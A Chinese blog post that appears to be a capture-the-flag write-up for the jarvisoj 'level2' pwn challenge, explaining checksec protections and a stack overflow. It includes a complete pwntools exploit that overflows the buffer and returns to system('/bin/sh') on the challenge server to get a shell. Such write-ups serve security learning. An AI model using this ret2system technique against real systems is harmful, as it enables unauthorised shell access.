美文网首页
jarvisoj level2

jarvisoj level2

作者: poxlove3 | 来源:发表于2018-07-09 16:57 被阅读0次

checksec看一下,没什么特别的。想起来了就再把checksec复习一下吧,checksec,是用来检查可执行文件属性的。
Arch:说明这个文件的属性是什么,说明是32位的程序。
Stack:canary,这个主要是说栈保护的东西,所利用的东西就是相当于网站的cookie,linux中把这种cookie信息称为canary,所以如果开启了这个,就一般不可以执行shellcode了。
RELRO:设置符号重定向表格为只读,或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。如果RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。
NX(DEP)即No-eXecute(不可执行)的意思,同样的,如果NX开启后,溢出转到shellcode以后,由于开启了不可执行,所以cpu就会抛出异常,而不去执行恶意指令。
PIE(ASLR)地址分布随机化。

image

因为开启了nx,所以这个题目我们就不可以用shellcode来做了,打开ida看一下shift+F12发现"bin/sh"开心的一逼。
溢出点也很好找,buf是0x88,read读入了0x100
所以我们只要劫持函数调用流程就可以pwn下来了。

from pwn import * 

#p = process('./level2') 
p = remote('pwn2.jarvisoj.com','9878')
elf = ELF('./level2')

sh_addr = elf.search('/bin/sh').next()
print p32(sh_addr)
system_addr = elf.symbols['system']
print p32(system_addr)
exit_addr = elf.symbols['read']
print p32(exit_addr)

payload = 'a' * (0x88 + 0x4) + p32(system_addr) + p32(exit_addr) + p32(sh_addr)

p.send(payload)
p.interactive()

其实返回地址可以任意指定的,因为我们已经执行了system('/bin/sh')了。。。我也不知道我当时为什么要这样子写。。大概是用完了还是要还会去比较安心。。。

相关文章

  • jarvisoj level2

    checksec看一下,没什么特别的。想起来了就再把checksec复习一下吧,checksec,是用来检查可执行...

  • [JarvisOj](pwn)level2

    简介 : 地址 : 利用代码 : 【技术分享】借助DynELF实现无libc的漏洞利用小结Paste_Image....

  • ajax基础知识

    标准 XMLHttpRequest标准又分为Level1和Level2 Level1 缺点 Level2 改进 兼...

  • jarvisoj fm

    流程套路还是固定的,file看一下是32位的文件checksec看一下开了什么保护,好像没什么奇怪的东西运行一下看...

  • [JarvisOj]Web

    LOCALHOST 题目入口:http://web.jarvisoj.com:32774/ X-Forwarded...

  • [JarvisOj]Basic

    手贱 某天A君的网站被日,管理员密码被改,死活登不上,去数据库一看,啥,这密码md5不是和原来一样吗?为啥登不上咧...

  • jarvisOJ wp

    [xman] level0 file : 64位 程序 静态链接加载函数 checksec : NX 开启(堆栈不...

  • 【链接】懂你英语笔记Level1,Level2

    懂你英语笔记Level1,Level2

  • The record of 4.14-16

    busy running after the deadline of Python level2 the big ...

  • 51端口访问

    题目链接:http://web.jarvisoj.com:32770/ Please use port 51 to...

网友评论

      本文标题:jarvisoj level2

      本文链接:https://www.haomeiwen.com/subject/orltpftx.html